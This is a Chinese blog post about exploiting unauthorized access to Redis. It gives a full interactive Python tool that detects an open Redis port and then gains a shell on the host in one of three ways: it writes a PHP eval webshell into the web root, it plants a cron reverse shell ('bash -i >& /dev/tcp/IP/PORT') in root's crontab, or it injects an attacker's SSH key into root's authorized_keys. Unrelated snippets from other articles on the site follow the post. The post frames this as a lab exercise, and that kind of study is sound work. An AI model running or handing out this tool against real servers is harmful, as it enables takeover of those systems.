当前位置: 首页 > news >正文

python脚本实现Redis未授权访问漏洞利用

 之前介绍过Redis未授权访问漏洞,本文使用python实现Redis未授权访问检测以及对应三种getshell。

1 测试环境准备

CentOS 7(192.168.198.66/24):安装 Redis 服务器并用 root 权限开启服务,关闭保护模式;安装并开启 httpd 服务;开启 ssh 服务。

Kali(192.168.198.172/24):测试脚本效果,模拟攻击机。

Win10:VS Code开发脚本,Xshell控制虚拟机。

2 未授权访问检测

首先需要检测 6379 端口是否开启,直接使用 socket 连接测试即可,is_port_open() 函数实现检测端口开启情况。

def is_port_open(host,port):s=socket.socket()s.settimeout(0.3)try:s.connect((host,port))except Exception as e:return Falseelse:return Truefinally:s.close()

 然后尝试连接 Redis 服务器,这里用到redis模块中的StrictRedis(host,port,socket_timeout),通过client_list() 方法获取客户列表查看是否连接成功。如果成功连接到 Redis 服务器, client_list() 的调用就不会抛出异常。

try:client = redis.StrictRedis(host=ip, port=port, socket_timeout=0.3)ok_lst = client.client_list()print('[+] Connected to the Redis server successfully...')
except Exception as e:print(f'[-] An unexpected error occurred: {e}')

3 写入webshell

Redis命令:

config set dir /var/www/html
config set dbfilename shell.php
set x "<?php @eval($_POST[123]); ?>"
save

对应的 redis 模块的方法:

client.config_set('dir','/var/www/html')
client.config_set('dbfilename','shell.php')
client.set('x','<?php @eval($_POST[123]); ?>')
client.save()

增加设置根目录一句话木马名称和密码功能:

def Webshell(client):try:df_dir='/var/www/html'web_dir=input('Please enter the root directory of the target machine\'s website, input nothing to use the default path: /var/www/html\n')web_dir=web_dir.strip()if not web_dir: web_dir=df_dirname=input('Please enter the name of the PHP file you want to upload: ')passwd=input('Please enter the connection password: ')client.config_set('dir',web_dir)client.config_set('dbfilename',name+'.php')client.set('x','<?php @eval($_POST['+passwd+']); ?>')client.save()print("[+] Webshell "+name+".php"+" uploaded successfully...")except Exception as e:print(f"[-] Webshell upload failed: {e}")

4 建立反弹连接

同理,这里利用定时任务实现反弹连接。先设置 Redis 数据库目录到系统定时任务目录,名字设置为 root (相当于修改 root 用户的定时任务),增加用户设定 IP 和端口监听功能。

def Reverse(client):try:client.config_set('dir','/var/spool/cron')client.config_set('dbfilename','root')ip=input('Set the attacker\'s IP address: ')port=input('Set the listening port: ')payload='\n* * * * * bash -i >& /dev/tcp/'+ip+'/'+port+' 0>&1\n'client.set('x',payload)client.save()print("[+] Reverse shell task created successfully...")except Exception as e:print(f"[-] Reverse shell creation failed: {e}")

5 SSH keys 免密登录

把 Redis 的目录设置为 /root/.ssh,保存文件为 authorized_keys,实现在靶机中 authorized_keys 写入攻击者 ssh 公钥。

def Ssh(client):try:sshkey=input('Enter the SSH key you have generated: ')client.config_set('dir','/root/.ssh')client.config_set('dbfilename','authorized_keys')client.set('x','\n\n'+sshkey+'\n\n')client.save()print("[+] SSH key injected successfully.")except Exception as e:print(f"[-] SSH key injection failed: {e}")

5 完整代码

import numpy as np
import socket
import redis
import sys
def Hello_FK_Redis():a,b=60,30x,y,r=30,15,13img=np.zeros((b,a),dtype=str)for i in range(b):for j in range(a):dist=np.sqrt((i-y)**2+(j-x)**2)if r-1<dist<r+1: img[i,j]='*'elif abs(j-x)<1 and dist<r: img[i,j]='|'elif abs(i-y)<1 and dist<r: img[i,j]='-'img[img=='']=' 'for i in img: print(''.join(i))print('----Welcome to use Redis Vulnerability Exploitation Tool----')
def is_port_open(host,port):s=socket.socket()s.settimeout(0.3)try:s.connect((host,port))except Exception as e:return Falseelse:return Truefinally:s.close()
def Webshell(client):try:df_dir='/var/www/html'web_dir=input('Please enter the root directory of the target machine\'s website, input nothing to use the default path: /var/www/html\n')web_dir=web_dir.strip()if not web_dir: web_dir=df_dirname=input('Please enter the name of the PHP file you want to upload: ')passwd=input('Please enter the connection password: ')client.config_set('dir',web_dir)client.config_set('dbfilename',name+'.php')client.set('x','<?php @eval($_POST['+passwd+']); ?>')client.save()print("[+] Webshell "+name+".php"+" uploaded successfully...")except Exception as e:print(f"[-] Webshell upload failed: {e}")def Reverse(client):try:client.config_set('dir','/var/spool/cron')client.config_set('dbfilename','root')ip=input('Set the attacker\'s IP address: ')port=input('Set the listening port: ')ip=ip.strip()port=port.strip()payload='\n* * * * * bash -i >& /dev/tcp/'+ip+'/'+port+' 0>&1\n'client.set('x',payload)client.save()print("[+] Reverse shell task created successfully...")except Exception as e:print(f"[-] Reverse shell creation failed: {e}")
def Ssh(client):try:sshkey=input('Enter the SSH key you have generated: ')client.config_set('dir','/root/.ssh')client.config_set('dbfilename','authorized_keys')client.set('x','\n\n'+sshkey+'\n\n')client.save()print("[+] SSH key injected successfully.")except Exception as e:print(f"[-] SSH key injection failed: {e}")
if __name__ == '__main__':Hello_FK_Redis()ip=input('Please enter the target machine\'s IP address: ')port=6379if is_port_open(ip,port):print('[+] Port 6379 is open...')print('[*] Trying to connect Redis server...')try:client=redis.StrictRedis(host=ip,port=port,socket_timeout=0.3)ok_lst=client.client_list()print('[+] Connected to the Redis server successfully...')print('Please choose the exploit method you want to use:\nEnter 1 for webshell\nEnter 2 for establishing a reverse connection\nEnter 3 for SSH key-based authentication\nOr any other character to exit...')try:c=int(input())if c==1: Webshell(client)elif c==2: Reverse(client)elif c==3: Ssh(client)else: print('[*] Exiting...')sys.exit()except Exception:print('[*] Exiting...')sys.exit()except Exception as e:print(f'[-] An unexpected error occurred: {e}')else:print('[-] Port 6379 is not open...')

6 测试效果

webshell

 

反弹连接

监听端口:7777

 下面输入攻击机端口保证与监听的攻击机和端口一致:

 

 免密登录

在 kali 中 .ssh 复制公钥 id_rsa.pub 的内容

 免密登录:

相关文章:

python脚本实现Redis未授权访问漏洞利用

之前介绍过Redis未授权访问漏洞&#xff0c;本文使用python实现Redis未授权访问检测以及对应三种getshell。 1 测试环境准备 CentOS 7&#xff08;192.168.198.66/24&#xff09;&#xff1a;安装 Redis 服务器并用 root 权限开启服务&#xff0c;关闭保护模式&#xff1b;安…...

简单线性回归分析-基于R语言

本题中&#xff0c;在不含截距的简单线性回归中&#xff0c;用零假设对统计量进行假设检验。首先&#xff0c;我们使用下面方法生成预测变量x和响应变量y。 set.seed(1) x <- rnorm(100) y <- 2*xrnorm(100) &#xff08;a&#xff09;不含截距的线性回归模型构建。 &…...

上海理工大学《2023年+2019年867自动控制原理真题》 (完整版)

本文内容&#xff0c;全部选自自动化考研联盟的&#xff1a;《上海理工大学867自控考研资料》的真题篇。后续会持续更新更多学校&#xff0c;更多年份的真题&#xff0c;记得关注哦~ 目录 2023年真题 2019年真题 Part1&#xff1a;2023年2019年完整版真题 2023年真题 2019年…...

计算机网络面试题——第三篇

1. TCP超时重传机制是为了解决什么问题 因为TCP是一种面向连接的协议&#xff0c;需要保证数据可靠传输。而在数据传输过程中&#xff0c;由于网络阻塞、链路错误等原因&#xff0c;数据包可能会丢失或者延迟到达目的地。因此&#xff0c;若未在指定时间内收到对方的确认应答&…...

Elasticsearch 开放推理 API 增加了对 Google AI Studio 的支持

作者&#xff1a;来自 Elastic Jeff Vestal 我们很高兴地宣布 Elasticsearch 的开放推理 API 支持 Gemini 开发者 API。使用 Google AI Studio 时&#xff0c;开发者现在可以与 Elasticsearch 索引中的数据进行聊天、运行实验并使用 Google Cloud 的模型&#xff08;例如 Gemin…...

react-问卷星项目(7)

实战 React表单组件 入门 重点在于change的时候改变state的值&#xff0c;类似vue的双向数据绑定v-model&#xff0c;即数据更新的时候页面同步更新&#xff0c;页面数据更新时数据源也能获得最新的值&#xff0c;只是Vue中设置在data中的属性默认绑定&#xff0c;React中需…...

【git】main|REBASE 2/6

很久没合并代码合并出现冲突&#xff0c;自动进入了 main|REBASE 2/6 的提示: 【git】main|REBASE 2/6 It looks like you’ve encountered several merge conflicts after a git pull operation while a rebase is in progress. Here’s how you can resolve these conflict…...

51单片机的水质检测系统【proteus仿真+程序+报告+原理图+演示视频】

1、主要功能 该系统由AT89C51/STC89C52单片机LCD1602显示模块温度传感器ph传感器浑浊度传感器蓝牙继电器LED、按键和蜂鸣器等模块构成。适用于水质监测系统&#xff0c;含检测和调整水温、浑浊度、ph等相似项目。 可实现功能: 1、LCD1602实时显示水温、水体ph和浑浊度 2、温…...

【python面试宝典7】线程池,模块和包

目录标 题目37&#xff1a;解释一下线程池的工作原理。题目38&#xff1a;举例说明什么情况下会出现KeyError、TypeError、ValueError。题目39&#xff1a;说出下面代码的运行结果。题目40&#xff1a;如何读取大文件&#xff0c;例如内存只有4G&#xff0c;如何读取一个大小为…...

Android input系统原理二

1.inputmanager启动源码分析 在SystemServer.java中构造了 inputmanagerservice的对象&#xff0c;在其构造函数中&#xff0c;最重要的是这个nativeInit函数。 下面是核心代码 inputManager new InputManagerService(context);public InputManagerService(Context context)…...

Oracle登录报错-ORA-01017: invalid username/password;logon denied

接上文&#xff1a;Oracle创建用户报错-ORA-65096: invalid common user or role name 我以为 按照上文在PDB里创建了用户&#xff0c;我以为就可以用PLSQL远程连接了&#xff0c;远程服务器上也安装了对应版本的Oracle客户端&#xff0c;但是我想多了&#xff0c;客户只是新建…...

JavaScript 获取浏览器本地数据的4种方式

JavaScript 获取浏览器本地数据的方式 我们在做Web开发中&#xff0c;客户端存储机制对于在浏览器中持久化数据至关重要。这些机制允许开发者存储用户偏好设置、应用状态以及其他关键信息&#xff0c;从而增强用户体验。本文将介绍几种常用的JavaScript获取浏览器本地数据的方…...

77寸OLED透明触摸屏有哪些应用场景

说到77寸OLED透明触摸屏&#xff0c;那可真是市场营销中的一大亮点&#xff0c;应用场景多到数不清&#xff01;我这就给你细数几个热门的&#xff1a; 商业展示&#xff1a;这可是77寸OLED透明触摸屏的拿手好戏&#xff01;在高端零售店铺里&#xff0c;它可以作为陈列窗口&am…...

二分解题的奇技淫巧都有哪些,你还不会吗?

先说一下我为什么要写这篇文章。 “二分“ 查找 or ”二分“ 答案的思想大家想必都知道吧&#xff08;如果不懂&#xff0c;可以看一下我之前写的一篇文章&#xff09;。 二分求解 可是呢&#xff1f;思想都会&#xff0c;做题的时候&#xff0c;就懵圈了。 这个题竟然考的是…...

LeetCode-871 最低加油次数

重启力扣每日一题系列&#xff01; 因为过去两个月里掉粉掉的好严重&#xff0c;我想大抵是因为更新的频率不如上半年了&#xff0c;如果我重启了每日一题系列那岂不是至少是每日一更☝&#x1f913;&#xff1f; 也不是每天都更&#xff0c;我有两不更&#xff0c;特难的就不…...

OpenCV-OCR

文章目录 一、OCR技术的基本原理二、OpenCV在OCR识别中的应用1.图像预处理2.文字区域检测3.OCR识别&#xff1a;4.后处理&#xff1a; 三、OCR识别示例代码四、注意事项 OpenCV-OCR主要涉及使用OpenCV库进行光学字符识别&#xff08;OCR&#xff09;的技术。OCR技术可以识别图像…...

Linux卸载mysql

一、查看当前安装mysql情况&#xff0c;查找以前是否装有mysql rpm -qa|grep -i mysql二、停止MySQL服务 三、删除mysql库和文件 查找MySQL库 # 查找命令 find / -name mysql# 显示结果 /var/lib/mysql/var/lib/mysql/mysql/usr/lib64/mysql删除对应的mysql目录 rm -rf /v…...

【大语言模型-论文精读】用于医疗领域摘要任务的大型语言模型评估综述

【大语言模型-论文精读】用于医疗领域摘要任务的大型语言模型评估综述 论文信息&#xff1a; 用于医疗领域摘要任务的大型语言模型评估&#xff1a;一篇叙述性综述&#xff0c; 文章是由 Emma Croxford , Yanjun Gao 博士 , Nicholas Pellegrino , Karen K. Wong 等人近期合作…...

图吧工具箱

图吧工具箱202309绿色版自动解压程序R2.exe&#xff0c;永久有效 链接&#xff1a;https://pan.baidu.com/s/1M6TI7Git8bXOzZX_qZ3LJw?pwdzked 提取码&#xff1a;zked...

vue2 + View design 使用inputNumber设置默认值为undefined但展示数据为1且表单校验不通过的原因

文章目录 一、背景二、操作步骤1.复现前的准备工作&#xff08;1&#xff09;vue版本和view design 版本&#xff08;2&#xff09;创建一个组件&#xff08;组件中根据类型渲染不同的组件&#xff09;&#xff08;3&#xff09;在list.vue页面中引入组件&#xff0c;传入配置&…...

深大计算机考研复试全流程避坑指南:从机试环境、酒店选择到体检时机,这些细节别忽略

深大计算机考研复试全流程避坑指南&#xff1a;从机试环境到行程管理的实战策略 站在深大计算机楼前的那一刻&#xff0c;我才真正理解"细节决定成败"的含义——隔壁考场的同学因为酒店空调噪音彻夜未眠&#xff0c;机试时手指发抖敲错关键符号&#xff1b;而提前三个…...

ESXI系统安装全攻略:从U盘启动到网络配置

1. ESXI系统安装前的准备工作 第一次接触ESXI系统的朋友可能会觉得有点懵&#xff0c;其实它就是一个专门用于虚拟化的操作系统。简单来说&#xff0c;它能让一台物理服务器变成多台虚拟服务器&#xff0c;特别适合用来搭建测试环境或者部署云服务。我自己在数据中心工作时&…...

Halcon机器视觉实战:表面划痕检测的优化策略与形态学处理

1. 表面划痕检测的工业挑战与Halcon优势 在工业质检领域&#xff0c;表面划痕检测一直是让工程师头疼的难题。想象一下汽车发动机缸体上的发丝状划痕&#xff0c;或是手机玻璃盖板上若隐若现的加工痕迹——这些缺陷往往与背景对比度差异不足5%&#xff0c;人眼盯着看十分钟都可…...

DAMOYOLO-S与数据库联动:检测结果实时入库与查询

DAMOYOLO-S与数据库联动&#xff1a;检测结果实时入库与查询 你有没有想过&#xff0c;当AI模型在摄像头前“看到”一个人、一辆车时&#xff0c;这些信息除了在屏幕上显示一下&#xff0c;还能做什么&#xff1f;如果这些“看见”的瞬间——谁、在哪儿、什么时候、有多确定—…...

清华团队ISSCC新作解读:用eDRAM-LUT做存内计算,如何把存储单元变成加法器?

清华团队ISSCC新作&#xff1a;eDRAM-LUT如何重构存内计算芯片设计范式 当人工智能模型的参数量突破千亿级别时&#xff0c;传统计算架构的"存储墙"问题愈发凸显。数据在存储器和处理器之间的频繁搬运&#xff0c;消耗了系统60%以上的能耗——这恰恰是存内计算技术试…...

深度技术解析:Netgear路由器隐藏Telnet控制台的终极解锁方案

深度技术解析&#xff1a;Netgear路由器隐藏Telnet控制台的终极解锁方案 【免费下载链接】netgear_telnet Netgear Enable Telnet (New Crypto) 项目地址: https://gitcode.com/gh_mirrors/ne/netgear_telnet Netgear路由器隐藏Telnet控制台解锁工具是一个专为网络安全研…...

别再乱用Freemarker了!从Jeecg-Boot的CVE-2023-4450漏洞,聊聊SQL解析中的代码注入风险

从CVE-2023-4450看动态SQL解析的安全陷阱&#xff1a;Freemarker模板引擎的致命误用 在快速迭代的企业级开发中&#xff0c;报表功能往往被视为"非核心模块"而被草率实现。2023年曝光的Jeecg-Boot漏洞(CVE-2023-4450)给我们上了一课——一个未授权接口中的Freemarker…...

极简纯净音乐体验:铜钟音乐平台的高效使用指南

极简纯净音乐体验&#xff1a;铜钟音乐平台的高效使用指南 【免费下载链接】tonzhon-music 铜钟 (Tonzhon.com): 免费听歌; 没有直播, 社交, 广告, 干扰; 简洁纯粹, 资源丰富, 体验独特&#xff01;(密码重置功能已回归) 项目地址: https://gitcode.com/GitHub_Trending/to/t…...

深入ProtoBuf编译:从Google.Protobuf.dll到Protoc.exe的完整实践指南

1. ProtoBuf基础与编译环境搭建 Protocol Buffers&#xff08;简称ProtoBuf&#xff09;是Google开发的一种高效数据序列化工具。我第一次接触ProtoBuf是在处理微服务通信时&#xff0c;当时被它比JSON快3-5倍的序列化速度震惊了。简单来说&#xff0c;ProtoBuf就像是个智能的数…...

Video2X:用AI突破视频质量瓶颈的全栈解决方案

Video2X&#xff1a;用AI突破视频质量瓶颈的全栈解决方案 【免费下载链接】video2x A lossless video/GIF/image upscaler achieved with waifu2x, Anime4K, SRMD and RealSR. Started in Hack the Valley II, 2018. 项目地址: https://gitcode.com/GitHub_Trending/vi/video…...